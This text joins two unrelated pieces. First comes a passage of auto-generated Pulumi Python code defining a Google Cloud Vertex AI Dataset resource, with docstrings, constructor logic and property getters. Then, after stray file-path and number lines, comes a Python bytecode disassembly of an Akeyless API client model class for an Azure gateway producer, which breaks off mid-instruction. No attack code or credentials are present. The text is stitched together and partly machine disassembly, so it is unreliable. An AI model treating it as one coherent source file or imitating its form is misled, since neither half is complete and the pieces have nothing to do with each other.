region="us-central1") ``` This resource does not support import. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] display_name: The user-defined name of the Dataset. The name can be up to 128 characters long and can be consist of any UTF-8 characters. :param pulumi.Input[pulumi.InputType['AiDatasetEncryptionSpecArgs']] encryption_spec: Customer-managed encryption key spec for a Dataset. If set, this Dataset and all sub-resources of this Dataset will be secured by this key. Structure is documented below. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] labels: A set of key/value label pairs to assign to this Workflow. **Note**: This field is non-authoritative, and will only manage the labels present in your configuration. Please refer to the field `effective_labels` for all of the labels present on the resource. :param pulumi.Input[str] metadata_schema_uri: Points to a YAML file stored on Google Cloud Storage describing additional information about the Dataset. The schema is defined as an OpenAPI 3.0.2 Schema Object. The schema files that can be used here are found in gs://google-cloud-aiplatform/schema/dataset/metadata/. - - - :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the provider project is used. :param pulumi.Input[str] region: The region of the dataset. eg us-central1 """ ... @overload def __init__( __self__, resource_name: str, args: AiDatasetArgs, opts: Optional[pulumi.ResourceOptions] = None, ): """ A collection of DataItems and Annotations on them. To get more information about Dataset, see: * [API documentation](https://cloud.google.com/vertex-ai/docs/reference/rest/v1/projects.locations.datasets) * How-to Guides * [Official Documentation](https://cloud.google.com/vertex-ai/docs) ```python import pulumi import pulumi_gcp as gcp dataset = gcp.vertex.AiDataset("dataset", display_name="terraform", labels={ "env": "test", }, metadata_schema_uri="gs://google-cloud-aiplatform/schema/dataset/metadata/image_1.0.0.yaml", region="us-central1") ``` This resource does not support import. :param str resource_name: The name of the resource. :param AiDatasetArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts( AiDatasetArgs, pulumi.ResourceOptions, *args, **kwargs ) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init( __self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, display_name: Optional[pulumi.Input[str]] = None, encryption_spec: Optional[ pulumi.Input[pulumi.InputType["AiDatasetEncryptionSpecArgs"]] ] = None, labels: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, metadata_schema_uri: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, region: Optional[pulumi.Input[str]] = None, __props__=None, ): opts = pulumi.ResourceOptions.merge( _utilities.get_resource_opts_defaults(), opts ) if not isinstance(opts, pulumi.ResourceOptions): raise TypeError( "Expected resource options to be a ResourceOptions instance" ) if opts.id is None: if __props__ is not None: raise TypeError( "__props__ is only valid when passed in combination with a valid opts.id to get an existing resource" ) __props__ = AiDatasetArgs.__new__(AiDatasetArgs) if display_name is None and not opts.urn: raise TypeError("Missing required property 'display_name'") __props__.__dict__["display_name"] = display_name __props__.__dict__["encryption_spec"] = encryption_spec __props__.__dict__["labels"] = labels if metadata_schema_uri is None and not opts.urn: raise TypeError("Missing required property 'metadata_schema_uri'") __props__.__dict__["metadata_schema_uri"] = metadata_schema_uri __props__.__dict__["project"] = project __props__.__dict__["region"] = region __props__.__dict__["create_time"] = None __props__.__dict__["effective_labels"] = None __props__.__dict__["name"] = None __props__.__dict__["pulumi_labels"] = None __props__.__dict__["update_time"] = None secret_opts = pulumi.ResourceOptions( additional_secret_outputs=["effectiveLabels", "pulumiLabels"] ) opts = pulumi.ResourceOptions.merge(opts, secret_opts) super(AiDataset, __self__).__init__( "gcp:vertex/aiDataset:AiDataset", resource_name, __props__, opts ) @staticmethod def get( resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, create_time: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None, effective_labels: Optional[ pulumi.Input[Mapping[str, pulumi.Input[str]]] ] = None, encryption_spec: Optional[ pulumi.Input[pulumi.InputType["AiDatasetEncryptionSpecArgs"]] ] = None, labels: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, metadata_schema_uri: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, pulumi_labels: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, region: Optional[pulumi.Input[str]] = None, update_time: Optional[pulumi.Input[str]] = None, ) -> "AiDataset": """ Get an existing AiDataset resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] create_time: The timestamp of when the dataset was created in RFC3339 UTC "Zulu" format, with nanosecond resolution and up to nine fractional digits. :param pulumi.Input[str] display_name: The user-defined name of the Dataset. The name can be up to 128 characters long and can be consist of any UTF-8 characters. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] effective_labels: All of labels (key/value pairs) present on the resource in GCP, including the labels configured through Pulumi, other clients and services. :param pulumi.Input[pulumi.InputType['AiDatasetEncryptionSpecArgs']] encryption_spec: Customer-managed encryption key spec for a Dataset. If set, this Dataset and all sub-resources of this Dataset will be secured by this key. Structure is documented below. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] labels: A set of key/value label pairs to assign to this Workflow. **Note**: This field is non-authoritative, and will only manage the labels present in your configuration. Please refer to the field `effective_labels` for all of the labels present on the resource. :param pulumi.Input[str] metadata_schema_uri: Points to a YAML file stored on Google Cloud Storage describing additional information about the Dataset. The schema is defined as an OpenAPI 3.0.2 Schema Object. The schema files that can be used here are found in gs://google-cloud-aiplatform/schema/dataset/metadata/. - - - :param pulumi.Input[str] name: The resource name of the Dataset. This value is set by Google. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the provider project is used. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] pulumi_labels: The combination of labels configured directly on the resource and default labels configured on the provider. :param pulumi.Input[str] region: The region of the dataset. eg us-central1 :param pulumi.Input[str] update_time: The timestamp of when the dataset was last updated in RFC3339 UTC "Zulu" format, with nanosecond resolution and up to nine fractional digits. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _AiDatasetState.__new__(_AiDatasetState) __props__.__dict__["create_time"] = create_time __props__.__dict__["display_name"] = display_name __props__.__dict__["effective_labels"] = effective_labels __props__.__dict__["encryption_spec"] = encryption_spec __props__.__dict__["labels"] = labels __props__.__dict__["metadata_schema_uri"] = metadata_schema_uri __props__.__dict__["name"] = name __props__.__dict__["project"] = project __props__.__dict__["pulumi_labels"] = pulumi_labels __props__.__dict__["region"] = region __props__.__dict__["update_time"] = update_time return AiDataset(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="createTime") def create_time(self) -> pulumi.Output[str]: """ The timestamp of when the dataset was created in RFC3339 UTC "Zulu" format, with nanosecond resolution and up to nine fractional digits. """ return pulumi.get(self, "create_time") @property @pulumi.getter(name="displayName") def display_name(self) -> pulumi.Output[str]: """ The user-defined name of the Dataset. The name can be up to 128 characters long and can be consist of any UTF-8 characters. """ return pulumi.get(self, "display_name") @property @pulumi.getter(name="effectiveLabels") def effective_labels(self) -> pulumi.Output[Mapping[str, str]]: """ All of labels (key/value pairs) present on the resource in GCP, including the labels configured through Pulumi, other clients and services. """ return pulumi.get(self, "effective_labels") @property @pulumi.getter(name="encryptionSpec") def encryption_spec( self, ) -> pulumi.Output[Optional["outputs.AiDatasetEncryptionSpec"]]: """ Customer-managed encryption key spec for a Dataset. If set, this Dataset and all sub-resources of this Dataset will be secured by this key. Structure is documented below. """ return pulumi.get(self, "encryption_spec") @property @pulumi.getter def labels(self) -> pulumi.Output[Optional[Mapping[str, str]]]: """ A set of key/value label pairs to assign to this Workflow. **Note**: This field is non-authoritative, and will only manage the labels present in your configuration. Please refer to the field `effective_labels` for all of the labels present on the resource. """ return pulumi.get(self, "labels") @property @pulumi.getter(name="metadataSchemaUri") def metadata_schema_uri(self) -> pulumi.Output[str]: """ Points to a YAML file stored on Google Cloud Storage describing additional information about the Dataset. The schema is defined as an OpenAPI 3.0.2 Schema Object. The schema files that can be used here are found in gs://google-cloud-aiplatform/schema/dataset/metadata/. - - - """ return pulumi.get(self, "metadata_schema_uri") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ The resource name of the Dataset. This value is set by Google. """ return pulumi.get(self, "name") @property @pulumi.getter def project(self) -> pulumi.Output[str]: """ The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ return pulumi.get(self, "project") @property @pulumi.getter(name="pulumiLabels") def pulumi_labels(self) -> pulumi.Output[Mapping[str, str]]: """ The combination of labels configured directly on the resource and default labels configured on the provider. """ return pulumi.get(self, "pulumi_labels") @property @pulumi.getter def region(self) -> pulumi.Output[str]: """ The region of the dataset. eg us-central1 """ return pulumi.get(self, "region") @property @pulumi.getter(name="updateTime") def update_time(self) -> pulumi.Output[str]: """ The timestamp of when the dataset was last updated in RFC3339 UTC "Zulu" format, with nanosecond resolution and up to nine fractional digits. """ return pulumi.get(self, "update_time")
data/pulumi_gcp-7.9.0/pulumi_gcp/vertex/ai_dataset.py
10,358
9,013
446,327
LOAD_CONST '\n Akeyless API\n\n The purpose of this application is to provide access to Akeyless API. # noqa: E501\n\n The version of the OpenAPI document: 2.0\n Contact: [email protected]\n Generated by: https://openapi-generator.tech\n' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pprint STORE_NAME pprint LOAD_CONST 0 LOAD_CONST None IMPORT_NAME re STORE_NAME re LOAD_CONST 0 LOAD_CONST None IMPORT_NAME six STORE_NAME six LOAD_CONST 0 LOAD_CONST ('Configuration',) IMPORT_NAME akeyless.configuration IMPORT_FROM Configuration STORE_NAME Configuration POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object GatewayUpdateProducerAzure at 0x7fab41053d20, file "f.py", line 20> LOAD_CONST 'GatewayUpdateProducerAzure' MAKE_FUNCTION LOAD_CONST 'GatewayUpdateProducerAzure' LOAD_NAME object CALL_FUNCTION STORE_NAME GatewayUpdateProducerAzure LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GatewayUpdateProducerAzure' STORE_NAME __qualname__ LOAD_CONST 'NOTE: This class is auto generated by OpenAPI Generator.\n Ref: https://openapi-generator.tech\n\n Do not edit the class manually.\n ' STORE_NAME __doc__ LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'bool' LOAD_CONST 'bool' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'bool' LOAD_CONST 'bool' LOAD_CONST 'bool' LOAD_CONST 'list[str]' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'bool' LOAD_CONST 'str' LOAD_CONST 'bool' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST ('app_obj_id', 'azure_client_id', 'azure_client_secret', 'azure_tenant_id', 'delete_protection', 'fixed_user_claim_keyname', 'fixed_user_only', 'json', 'name', 'new_name', 'producer_encryption_key_name', 'secure_access_enable', 'secure_access_web', 'secure_access_web_browsing', 'secure_access_web_proxy', 'tags', 'target_name', 'token', 'uid_token', 'user_group_obj_id', 'user_portal_access', 'user_principal_name', 'user_programmatic_access', 'user_role_template_id', 'user_ttl') BUILD_CONST_KEY_MAP STORE_NAME openapi_types LOAD_CONST 'app-obj-id' LOAD_CONST 'azure-client-id' LOAD_CONST 'azure-client-secret' LOAD_CONST 'azure-tenant-id' LOAD_CONST 'delete_protection' LOAD_CONST 'fixed-user-claim-keyname' LOAD_CONST 'fixed-user-only' LOAD_CONST 'json' LOAD_CONST 'name' LOAD_CONST 'new-name' LOAD_CONST 'producer-encryption-key-name' LOAD_CONST 'secure-access-enable' LOAD_CONST 'secure-access-web' LOAD_CONST 'secure-access-web-browsing' LOAD_CONST 'secure-access-web-proxy' LOAD_CONST 'tags' LOAD_CONST 'target-name' LOAD_CONST 'token' LOAD_CONST 'uid-token' LOAD_CONST 'user-group-obj-id' LOAD_CONST 'user-portal-access' LOAD_CONST 'user-principal-name' LOAD_CONST 'user-programmatic-access' LOAD_CONST 'user-role-template-id' LOAD_CONST 'user-ttl' LOAD_CONST ('app_obj_id', 'azure_client_id', 'azure_client_secret', 'azure_tenant_id', 'delete_protection', 'fixed_user_claim_keyname', 'fixed_user_only', 'json', 'name', 'new_name', 'producer_encryption_key_name', 'secure_access_enable', 'secure_access_web', 'secure_access_web_browsing', 'secure_access_web_proxy', 'tags', 'target_name', 'token', 'uid_token', 'user_group_obj_id', 'user_portal_access', 'user_principal_name', 'user_programmatic_access', 'user_role_template_id', 'user_ttl') BUILD_CONST_KEY_MAP STORE_NAME attribute_map LOAD_CONST (None, None, None, None, None, 'false', False, False, None, None, None, None, True, False, False, None, None, None, None, None, False, None, False, None, '60m', None) LOAD_CONST <code object __init__ at 0x7fab81f37030, file "f.py", line 90> LOAD_CONST 'GatewayUpdateProducerAzure.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object app_obj_id at 0x7fab823989c0, file "f.py", line 201> LOAD_CONST 'GatewayUpdateProducerAzure.app_obj_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME app_obj_id LOAD_NAME app_obj_id LOAD_ATTR setter LOAD_CONST <code object app_obj_id at 0x7fab82398e40, file "f.py", line 212> LOAD_CONST 'GatewayUpdateProducerAzure.app_obj_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME app_obj_id LOAD_NAME property LOAD_CONST <code object azure_client_id at 0x7fab41751f60, file "f.py", line 224> LOAD_CONST 'GatewayUpdateProducerAzure.azure_client_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME azure_client_id LOAD_NAME azure_client_id LOAD_ATTR setter LOAD_CONST <code object azure_client_id at 0x7fab417515d0, file "f.py", line 235> LOAD_CONST 'GatewayUpdateProducerAzure.azure_client_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME azure_client_id LOAD_NAME property LOAD_CONST <code object azure_client_secret at 0x7fab417519c0, file "f.py", line 247> LOAD_CONST 'GatewayUpdateProducerAzure.azure_client_secret' MAKE_FUNCTION CALL_FUNCTION STORE_NAME azure_client_secret LOAD_NAME azure_client_secret LOAD_ATTR setter LOAD_CONST <code object azure_client_secret at 0x7fab417514b0, file "f.py", line 258> LOAD_CONST 'GatewayUpdateProducerAzure.azure_client_secret' MAKE_FUNCTION CALL_FUNCTION STORE_NAME azure_client_secret LOAD_NAME property LOAD_CONST <code object azure_tenant_id at 0x7fab41751660, file "f.py", line 270> LOAD_CONST 'GatewayUpdateProducerAzure.azure_tenant_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME azure_tenant_id LOAD_NAME azure_tenant_id LOAD_ATTR setter LOAD_CONST <code object azure_tenant_id at 0x7fab41751420, file "f.py", line 281> LOAD_CONST 'GatewayUpdateProducerAzure.azure_tenant_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME azure_tenant_id LOAD_NAME property LOAD_CONST <code object delete_protection at 0x7fab41751930, file "f.py", line 293> LOAD_CONST 'GatewayUpdateProducerAzure.delete_protection' MAKE_FUNCTION CALL_FUNCTION STORE_NAME delete_protection LOAD_NAME delete_protection LOAD_ATTR setter LOAD_CONST <code object delete_protection at 0x7fab41751270, file "f.py", line 304> LOAD_CONST 'GatewayUpdateProducerAzure.delete_protection' MAKE_FUNCTION CALL_FUNCTION STORE_NAME delete_protection LOAD_NAME property LOAD_CONST <code object fixed_user_claim_keyname at 0x7fab41751150, file "f.py", line 316> LOAD_CONST 'GatewayUpdateProducerAzure.fixed_user_claim_keyname' MAKE_FUNCTION CALL_FUNCTION STORE_NAME fixed_user_claim_keyname LOAD_NAME fixed_user_claim_keyname LOAD_ATTR setter LOAD_CONST <code object fixed_user_claim_keyname at 0x7fab416865d0, file "f.py", line 327> LOAD_CONST 'GatewayUpdateProducerAzure.fixed_user_claim_keyname' MAKE_FUNCTION CALL_FUNCTION STORE_NAME fixed_user_claim_keyname LOAD_NAME property LOAD_CONST <code object fixed_user_only at 0x7fab41686c00, file "f.py", line 339> LOAD_CONST 'GatewayUpdateProducerAzure.fixed_user_only' MAKE_FUNCTION CALL_FUNCTION STORE_NAME fixed_user_only LOAD_NAME fixed_user_only LOAD_ATTR setter LOAD_CONST <code object fixed_user_only at 0x7fab41686930, file "f.py", line 350> LOAD_CONST 'GatewayUpdateProducerAzure.fixed_user_only' MAKE_FUNCTION CALL_FUNCTION STORE_NAME fixed_user_only LOAD_NAME property LOAD_CONST <code object json at 0x7fab416864b0, file "f.py", line 362> LOAD_CONST 'GatewayUpdateProducerAzure.json' MAKE_FUNCTION CALL_FUNCTION STORE_NAME json LOAD_NAME json LOAD_ATTR setter LOAD_CONST <code object json at 0x7fab41686810, file "f.py", line 373> LOAD_CONST 'GatewayUpdateProducerAzure.json' MAKE_FUNCTION CALL_FUNCTION STORE_NAME json LOAD_NAME property LOAD_CONST <code object name at 0x7fab41686b70, file "f.py", line 385> LOAD_CONST 'GatewayUpdateProducerAzure.name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME name LOAD_ATTR setter LOAD_CONST <code object name at 0x7fab41686c90, file "f.py", line 396> LOAD_CONST 'GatewayUpdateProducerAzure.name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME property LOAD_CONST <code object new_name at 0x7fab416868a0, file "f.py", line 414> LOAD_CONST 'GatewayUpdateProducerAzure.new_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME new_name LOAD_NAME new_name LOAD_ATTR setter LOAD_CONST <code object new_name at 0x7fab41686db0, file "f.py", line 425> LOAD_CONST 'GatewayUpdateProducerAzure.new_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME new_name LOAD_NAME property LOAD_CONST <code object producer_encryption_key_name at 0x7fab416869c0, file "f.py", line 437> LOAD_CONST 'GatewayUpdateProducerAzure.producer_encryption_key_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME producer_encryption_key_name LOAD_NAME producer_encryption_key_name LOAD_ATTR setter LOAD_CONST <code object producer_encryption_key_name at 0x7fab41686e40, file "f.py", line 448> LOAD_CONST 'GatewayUpdateProducerAzure.producer_encryption_key_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME producer_encryption_key_name LOAD_NAME property LOAD_CONST <code object secure_access_enable at 0x7fab416866f0, file "f.py", line 460> LOAD_CONST 'GatewayUpdateProducerAzure.secure_access_enable' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_enable LOAD_NAME secure_access_enable LOAD_ATTR setter LOAD_CONST <code object secure_access_enable at 0x7fab41686390, file "f.py", line 471> LOAD_CONST 'GatewayUpdateProducerAzure.secure_access_enable' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_enable LOAD_NAME property LOAD_CONST <code object secure_access_web at 0x7fab41686d20, file "f.py", line 483> LOAD_CONST 'GatewayUpdateProducerAzure.secure_access_web' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_web LOAD_NAME secure_access_web LOAD_ATTR setter LOAD_CONST <code object secure_access_web at 0x7fab41686660, file "f.py", line 494> LOAD_CONST 'GatewayUpdateProducerAzure.secure_access_web' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_web LOAD_NAME property LOAD_CONST <code object secure_access_web_browsing at 0x7fab41686f60, file "f.py", line 506> LOAD_CONST 'GatewayUpdateProducerAzure.secure_access_web_browsing' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_web_browsing LOAD_NAME secure_access_web_browsing LOAD_ATTR setter LOAD_CONST <code object secure_access_web_browsing at 0x7fab41257ed0, file "f.py", line 517> LOAD_CONST 'GatewayUpdateProducerAzure.secure_access_web_browsing' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_web_browsing LOAD_NAME property LOAD_CONST <code object secure_access_web_proxy at 0x7fab41257c90, file "f.py", line 529> LOAD_CONST 'GatewayUpdateProducerAzure.secure_access_web_proxy' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_web_proxy LOAD_NAME secure_access_web_proxy LOAD_ATTR setter LOAD_CONST <code object secure_access_web_proxy at 0x7fab41257030, file "f.py", line 540> LOAD_CONST 'GatewayUpdateProducerAzure.secure_access_web_proxy' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_web_proxy LOAD_NAME property LOAD_CONST <code object tags at 0x7fab41257a50, file "f.py", line 552> LOAD_CONST 'GatewayUpdateProducerAzure.tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tags LOAD_NAME tags LOAD_ATTR setter LOAD_CONST <code object tags at 0x7fab41257300, file "f.py", line 563> LOAD_CONST 'GatewayUpdateProducerAzure.tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tags LOAD_NAME property LOAD_CONST <code object target_name at 0x7fab41257390, file "f.py", line 575> LOAD_CONST 'GatewayUpdateProducerAzure.target_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME target_name LOAD_NAME target_name LOAD_ATTR setter LOAD_CONST <code object target_name at 0x7fab412570c0, file "f.py", line 586> LOAD_CONST 'GatewayUpdateProducerAzure.target_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME target_name LOAD_NAME property LOAD_CONST <code object token at 0x7fab412579c0, file "f.py", line 598> LOAD_CONST 'GatewayUpdateProducerAzure.token' MAKE_FUNCTION CALL_FUNCTION STORE_NAME token LOAD_NAME token LOAD_ATTR setter LOAD_CONST <code object token at 0x7fab41257420, file "f.py", line 609> LOAD_CONST 'GatewayUpdateProducerAzure.token' MAKE_FUNCTION CALL_FUNCTION STORE_NAME token LOAD_NAME property LOAD_CONST <code object uid_token at 0x7fab41257930, file "f.py", line 621> LOAD_CONST 'GatewayUpdateProducerAzure.uid_token' MAKE_FUNCTION CALL_FUNCTION STORE_NAME uid_token LOAD_NAME uid_token LOAD_ATTR setter LOAD_CONST <code object uid_token at 0x7fab412571e0, file "f.py", line 632> LOAD_CONST 'GatewayUpdateProducerAzure.uid_token' MAKE_FUNCTION CALL_FUNCTION STORE_NAME uid_token LOAD_NAME property LOAD_CONST <code object user_group_obj_id at 0x7fab412575d0, file "f.py", line 644> LOAD_CONST 'GatewayUpdateProducerAzure.user_group_obj_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME user_group_obj_id LOAD_NAME user_group_obj_id LOAD_ATTR setter LOAD_CONST <code object user_group_obj_id at 0x7fab41257270, file "f.py", line 655> LOAD_CONST 'GatewayUpdateProducerAzure.user_group_obj_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME user_group_obj_id LOAD_NAME property LOAD_CONST <code object user_portal_access at 0x7fab41257780, file "f.py", line 667> LOAD_CONST 'GatewayUpdateProducerAzure.user_portal_access' MAKE_FUNCTION CALL_FUNCTION STORE_NAME user_portal_access LOAD_NAME user_portal_access LOAD_ATTR setter LOAD_CONST <code object user_portal_access at 0x7fab410536f0, file "f.py", line 678> LOAD_CONST 'GatewayUpdateProducerAzure.user_portal_access' MAKE_FUNCTION CALL_FUNCTION STORE_NAME user_portal_access LOAD_NAME property LOAD_CONST <code object user_principal_name at 0x7fab410530c0, file "f.py", line 690> LOAD_CONST 'GatewayUpdateProducerAzure.user_principal_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME user_principal_name LOAD_NAME user_principal_name LOAD_ATTR setter LOAD_CONST <code object user_principal_name at 0x7fab41053150, file "f.py", line 701> LOAD_CONST 'GatewayUpdateProducerAzure.user_principal_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME user_principal_name LOAD_NAME property LOAD_CONST <code object user_programmatic_access at 0x7fab410531e0, file "f.py", line 713> LOAD_CONST 'GatewayUpdateProducerAzure.user_programmatic_access' MAKE_FUNCTION CALL_FUNCTION STORE_NAME user_programmatic_access LOAD_NAME user_programmatic_access LOAD_ATTR setter LOAD_CONST <code object user_programmatic_access at 0x7fab41053810, file "f.py", line 724> LOAD_CONST 'GatewayUpdateProducerAzure.user_programmatic_access' MAKE_FUNCTION CALL_FUNCTION STORE_NAME user_programmatic_access LOAD_NAME property LOAD_CONST <code object user_role_template_id at 0x7fab41053f60, file "f.py", line 736> LOAD_CONST 'GatewayUpdateProducerAzure.user_role_template_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME user_role_template_id LOAD_NAME user_role_template_id LOAD_ATTR setter LOAD_CONST <code object user_role_template_id at 0x7fab41053c00, file "f.py", line 747> LOAD_CONST 'GatewayUpdateProducerAzure.user_role_template_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME user_role_template_id LOAD_NAME property LOAD_CONST <code object user_ttl at 0x7fab41053030, file "f.py", line 759> LOAD_CONST 'GatewayUpdateProducerAzure.user_ttl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME user_ttl LOAD_NAME user_ttl LOAD_ATTR setter LOAD_CONST <code object user_ttl at 0x7fab41053300, file "f.py", line 770> LOAD_CONST 'GatewayUpdateProducerAzure.user_ttl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME user_ttl LOAD_CONST <code object to_dict at 0x7fab410538a0, file "f.py", line 782> LOAD_CONST 'GatewayUpdateProducerAzure.to_dict' MAKE_FUNCTION STORE_NAME to_dict LOAD_CONST <code object to_str at 0x7fab41053930, file "f.py", line 810> LOAD_CONST 'GatewayUpdateProducerAzure.to_str' MAKE_FUNCTION STORE_NAME to_str LOAD_CONST <code object __repr__ at 0x7fab41053270, file "f.py", line 814> LOAD_CONST 'GatewayUpdateProducerAzure.__repr__' MAKE_FUNCTION STORE_NAME __repr__ LOAD_CONST <code object __eq__ at 0x7fab41053db0, file "f.py", line 818> LOAD_CONST 'GatewayUpdateProducerAzure.__eq__' MAKE_FUNCTION STORE_NAME __eq__ LOAD_CONST <code object __ne__ at 0x7fab41053ae0, file "f.py", line 825> LOAD_CONST 'GatewayUpdateProducerAzure.__ne__' MAKE_FUNCTION STORE_NAME __ne__ LOAD_CONST None RETURN_VALUE LOAD_FAST local_vars_configuration LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL Configuration CALL_FUNCTION STORE_FAST local_vars_configuration LOAD_FAST local_vars_configuration LOAD_FAST self STORE_ATTR local_vars_configuration LOAD_CONST None LOAD_FAST self STORE_ATTR _app_obj_id LOAD_CONST None LOAD_FAST self STORE_ATTR _azure_client_id LOAD_CONST None LOAD_FAST self STORE_ATTR _azure_client_secret LOAD_CONST None LOAD_FAST self STORE_ATTR _azure_tenant_id LOAD_CONST None LOAD_FAST self STORE_ATTR _delete_protection LOAD_CONST None LOAD_FAST self STORE_ATTR _fixed_user_claim_keyname LOAD_CONST None LOAD_FAST self STORE_ATTR _fixed_user_only LOAD_CONST None LOAD_FAST self STORE_ATTR _json LOAD_CONST None LOAD_FAST self STORE_ATTR _name LOAD_CONST None LOAD_FAST self STORE_ATTR _new_name LOAD_CONST None LOAD_FAST self STORE_ATTR _producer_encryption_key_name LOAD_CONST None LOAD_FAST self STORE_ATTR _secure_access_enable LOAD_CONST None LOAD_FAST self STORE_ATTR _secure_access_web LOAD_CONST None LOAD_FAST self STORE_ATTR _secure_access_web_browsing LOAD_CONST None LOAD_FAST self STORE_ATTR _secure_access_web_proxy LOAD_CONST None LOAD_FAST self STORE_ATTR _tags LOAD_CONST None LOAD_FAST self STORE_ATTR _target_name LOAD_CONST None LOAD_FAST self STORE_ATTR _token LOAD_CONST None LOAD_FAST self STORE_ATTR _uid_token LOAD_CONST None LOAD_FAST self STORE_ATTR _user_group_obj_id LOAD_CONST None LOAD_FAST self STORE_ATTR _user_portal_access LOAD_CONST None LOAD_FAST self STORE_ATTR _user_principal_name LOAD_CONST None LOAD_FAST self STORE_ATTR _user_programmatic_access LOAD_CONST None LOAD_FAST self STORE_ATTR _user_role_template_id LOAD_CONST None LOAD_FAST self STORE_ATTR _user_ttl LOAD_CONST None LOAD_FAST self STORE_ATTR discriminator LOAD_FAST app_obj_id LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST app_obj_id LOAD_FAST self STORE_ATTR app_obj_id LOAD_FAST azure_client_id LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST azure_client_id LOAD_FAST self STORE_ATTR azure_client_id LOAD_FAST azure_client_secret LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST azure_client_secret LOAD_FAST self STORE_ATTR azure_client_secret LOAD_FAST azure_tenant_id LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST azure_tenant_id LOAD_FAST self STORE_ATTR azure_tenant_id LOAD_FAST delete_protection LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST delete_protection LOAD_FAST self STORE_ATTR delete_protection LOAD_FAST fixed_user_claim_keyname LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST fixed_user_claim_keyname LOAD_FAST self STORE_ATTR fixed_user_claim_keyname LOAD_FAST fixed_user_only LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST fixed_user_only LOAD_FAST self STORE_ATTR fixed_user_only LOAD_FAST json LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST json LOAD_FAST self STORE_ATTR json LOAD_FAST name LOAD_FAST self STORE_ATTR name LOAD_FAST new_name LOAD_CONST None 